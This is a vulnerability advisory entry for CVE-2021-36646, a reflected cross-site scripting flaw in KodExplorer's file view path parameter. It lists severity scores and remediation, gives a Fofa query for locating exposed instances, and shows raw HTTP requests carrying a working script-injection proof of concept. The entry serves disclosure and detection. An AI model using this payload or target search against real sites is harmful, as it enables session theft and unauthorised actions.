🔙 목록으로 돌아가기

CVE-2021-36646: KodExplorer - Cross-Site Scripting

TitleKodExplorer - Cross-Site Scripting
Authorritikchaddha
SeverityMedium
ImpactAttackers can inject malicious JavaScript via XSS in the path parameter, potentially stealing user session cookies or performing unauthorized actions.
RemediationUpgrade to the latest version of KodExplorer that addresses this vulnerability. Implement proper input validation and output encoding for user-supplied data.
CVSS Score6.1
EPSS Score0.01158
CVE IDCVE-2021-36646
CWE IDCWE-79
Fofa Queryapp="Powered-by-KodExplorer"
Tags cve cve2021 xss kodexplorer vuln

🔍 Vulnerability Description

KodExplorer is susceptible to a reflected cross-site scripting (XSS) vulnerability in the file view functionality.The vulnerability exists in app/template/api/view.html where user-supplied input in the ‘path’ parameter is directly echoed without proper sanitization.This allows attackers to inject malicious JavaScript code that executes in the context of the user’s browser.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.12
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /index.php?explorer/fileView&path=</script><script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:129.0) Gecko/20100101 Firefox/129.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-36646.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-36646.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A